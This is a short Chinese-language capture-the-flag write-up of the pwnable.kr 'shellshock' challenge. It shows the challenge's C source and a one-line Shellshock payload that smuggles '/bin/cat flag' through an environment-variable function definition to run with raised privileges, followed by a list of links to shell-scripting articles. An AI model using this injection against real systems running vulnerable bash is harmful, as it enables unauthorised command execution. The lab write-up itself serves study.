【pwnable.kr-----解题过程】shellshock
2015-09-16 07:43
579 查看
#include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
根据题目一下子可以看出来这是shellshock(破壳)的利用,google一下利用方法,补上对应语句即可:
env x='() { :;}; /bin/cat flag' ./shellshock
注意一点是在使用的时候cat需要写成/bin/cat:
相关文章推荐
- 2015年9月13日-9月15日课程作业(shell)基础知识
- shell基础脚本
- vim中跨文件的多行拷贝
- solaris设置环境变量shell脚本
- JSPWebShell的进一步提权
- 改变用户默认shell
- shellcode
- Linux 登录后各脚本的调用(尤指 Bash )
- git shell 常用命令
- bsh(BeanShell)动态执行java代码
- linux shell 处理unixtime
- Shell脚本编程及示例和例题解析
- 跟马哥学linux (lesson 7)Bash脚本基础知识
- WinExec ShellExecute 以及CreateProcess
- fish shell安装和配置
- shell基础之四:函数、死循环及for,while特殊用法
- shell变一些小技巧
- shell脚本执行返回的状态码
- Shell脚本处理“integer expression expected”
- bash: ./configure: /bin/sh^M: bad interpreter: No such file or directory